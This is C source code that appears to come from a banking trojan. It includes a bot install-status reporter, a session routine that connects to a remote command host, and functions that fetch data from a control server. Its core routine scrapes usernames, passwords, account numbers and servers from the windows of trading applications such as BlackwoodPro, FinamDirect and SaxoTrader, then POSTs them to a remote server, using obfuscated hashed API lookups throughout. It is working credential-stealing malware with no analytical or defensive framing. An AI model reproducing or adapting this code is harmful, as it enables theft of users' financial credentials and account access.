void DebugReportBkInstallCode(DWORD BkInstallResult) { DebugReportSettings* settings = DebugReportGetSettings(); DBGRPTDBG("DebugReportBkInstallCode", "Started with settings: Enabled='%d' StatPrefix='%s' StatUrl='%s'", settings->Enabled, settings->StatPrefix, settings->StatUrl ); if (!settings->Enabled) return; string BotUid = GenerateUidAsString(settings->StatPrefix); CHAR value[50]; typedef int ( WINAPI *fwsprintfA)( PCHAR lpOut, PCHAR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); m_memset(value, 0, sizeof(value)); _pwsprintfA(value, "%u", BkInstallResult); PStrings Fields = Strings::Create(); AddURLParam(Fields, "cmd", "bkinstall"); AddURLParam(Fields, "uid", BotUid.t_str()); AddURLParam(Fields, "val", value); PCHAR Params = Strings::GetText(Fields, "&"); PCHAR URL = STR::New(2, settings->StatUrl, Params); DBGRPTDBG("DebugReportBkInstallCode", "sending url='%s'", URL); PCHAR Buffer = NULL; HTTP::Get(URL, &Buffer, NULL); STR::Free(Buffer); STR::Free(URL); STR::Free(Params); Strings::Free(Fields); DebugReportFreeSettings(settings); }
void InitSession( char *Host, int Port, char *Uid, char *Password ) { char Buffer[ 1024 ]; int r = 0; SOCKET Socket = NetConnect( Host, Port ); if ( Socket != INVALID_SOCKET ) { r = NetRecv( Socket, Buffer, 6 ); if ( r ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "HELLO\n", 6 ) ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, "%s:%s\n", Uid, Password ); NetSend( Socket, Buffer, m_lstrlen( Buffer ) ); if ( NetRecv( Socket, Buffer, 6 ) ) { Buffer[ 6 ] = 0; if ( !m_lstrncmp( Buffer, "READY\n", 6 ) ) { SessionWork( Socket ); } } } } pclosesocket( Socket ); }
void ParseTrade( HWND hWnd ) { char *Program = NULL; if ( !pTradeInfo ) { return; } if ( IsBlackwoodPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1022; pTradeInfo->dwPassID = 1023; pTradeInfo->dwServID = 1687; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); while ( !(BOOL)pEnumChildWindows( (HWND)pGetParent( (HWND)pGetActiveWindow() ), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "BlackwoodPRO"; } else if ( IsFinamDirect() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "FinamDirect"; } else if ( IsGrayBox() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1000; pTradeInfo->dwPassID = 1001; pTradeInfo->dwServID = 1147; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "GrayBox"; } else if ( IsMbtPro() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "MbtPRO"; } else if ( IsLaser() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1062; pTradeInfo->dwPassID = 1064; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "Laser"; } else if ( IsLightSpeed() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 10826; pTradeInfo->dwPassID = 10825; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "LightSpeed"; } else if ( IsLT() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 5328; pTradeInfo->dwPassID = 5329; pTradeInfo->dwServID = 159; pTradeInfo->dwAccID = 5965; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->UserID ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "LTGroup"; } else if ( IsMbt() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 309; pTradeInfo->dwPassID = 310; pTradeInfo->dwServID = 311; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) || !m_lstrlen( pTradeInfo->Server ) ) { return; } Program = "Mbt"; } else if ( IsScotTrader() && TradeGetWindowID( hWnd ) == 1 ) { pTradeInfo->dwUserID = 1076; pTradeInfo->dwPassID = 1005; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "ScotTrader"; } else if ( IsSaxoTrader() && TradeGetWindowID2( hWnd ) == 1442918145 ) { pTradeInfo->dwUserID = 1442906816; pTradeInfo->dwPassID = 1442906848; while ( !(BOOL)pEnumChildWindows( (HWND)pGetActiveWindow(), (WNDENUMPROC)EnumWindowsProc2, NULL ) ); if ( !m_lstrlen( pTradeInfo->Username ) || !m_lstrlen( pTradeInfo->Password ) ) { return; } Program = "SaxoTrader"; } if ( Program != NULL ) { char *Buffer = (char*)MemAlloc( 1024 ); char Template[] = "Program: %s\r\n" "Username: %s\r\n" "Password: %s\r\n" "AccountNO: %s\r\n" "Server: %s\r\n"; if ( Buffer != NULL ) { typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); _pwsprintfA( Buffer, Template, Program, pTradeInfo->Username, pTradeInfo->Password, pTradeInfo->UserID, pTradeInfo->Server ); SendTradeInfo( Buffer ); MemFree( Buffer ); MemFree( pTradeInfo->Server ); MemFree( pTradeInfo->Username ); MemFree( pTradeInfo->Password ); MemFree( pTradeInfo->UserID ); if ( ( pTradeInfo = (PTRADEINFO)MemAlloc( sizeof( PTRADEINFO ) ) ) != NULL ) { m_memset( pTradeInfo, 0, sizeof( PTRADEINFO ) ); } } }
bool SendTradeInfo( char *Buffer ) { string Serv = GetActiveHost(); if ( Serv.IsEmpty()) return 0; char Host[30]; m_lstrcpy( Host, Serv.t_str()); char Script[] = {'/','g','e','t','/','t','r','a','.','h','t','m','l',0}; char Args[] = "id=%s&data=%s"; char Request[] = "POST %s HTTP/1.1\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Accept: text/html\r\n" "Connection: Close\r\n" "Content-Type: application/x-www-form-urlencoded\r\n" "Content-Length: %d\r\n\r\n"; char Uid[100]; GenerateUid( Uid ); char *Data = URLEncode( Buffer ); char *PartReq = (char*)MemAlloc( 1024 ); typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); if ( PartReq == NULL ) { return false; } _pwsprintfA( PartReq, Args, Uid, Data ); char *Header = (char*)MemAlloc( 1024 ); if ( Header == NULL ) { MemFree( PartReq ); return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( Header, Request, Script, Host, UserAgent, m_lstrlen( PartReq ) ); MemFree( UserAgent ); char *SendBuffer = (char*)MemAlloc( m_lstrlen( PartReq ) + m_lstrlen( Header ) + 1 + 2 ); if ( SendBuffer == NULL ) { MemFree( PartReq ); MemFree( Header ); return false; } m_lstrcpy( SendBuffer, Header ); m_lstrcat( SendBuffer, PartReq ); m_lstrcat( SendBuffer, "\r\n" ); MemFree( Header ); MemFree( PartReq ); SOCKET Socket = MyConnect( Host, 80 ); bool Ret = MySend( Socket, (const char *)SendBuffer, m_lstrlen( SendBuffer ) ); pclosesocket( Socket ); MemFree( SendBuffer ); return Ret; }
char *GetInfoFromBcServer( char *Url ) { WSADATA wsa; if ( (int)pWSAStartup( MAKEWORD( 2, 2 ), &wsa ) != 0 ) { return false; } char *Host = NULL; char *Path = NULL; int Port = 0; if ( !ParseUrl( Url, &Host, &Path, &Port ) ) { return false; } typedef int ( WINAPI *fwsprintfA )( LPTSTR lpOut, LPCTSTR lpFmt, ... ); fwsprintfA _pwsprintfA = (fwsprintfA)GetProcAddressEx( NULL, 3, 0xEA3AF0D7 ); char Request[] = "GET %s HTTP/1.0\r\n" "Host: %s\r\n" "User-Agent: %s\r\n" "Connection: close\r\n\r\n"; char *HttpPacket = (char*)MemAlloc( 1024 ); if ( HttpPacket == NULL ) { return false; } char *UserAgent = (char*)MemAlloc( 1024 ); DWORD dwUserSize = 1024; pObtainUserAgentString( 0, UserAgent, &dwUserSize ); _pwsprintfA( HttpPacket, Request, Path, Host, UserAgent ); SOCKET Socket = MyConnect( Host, Port ); if ( Socket == INVALID_SOCKET ) { MemFree( HttpPacket ); return NULL; } bool b = MySend( Socket, (const char *)HttpPacket, m_lstrlen( HttpPacket ) ); MemFree( HttpPacket ); if ( !b ) { return NULL; } DWORD dwSize = 0; char *Buffer = RecvAndParse( Socket, &dwSize ); pclosesocket( Socket ); return Buffer; }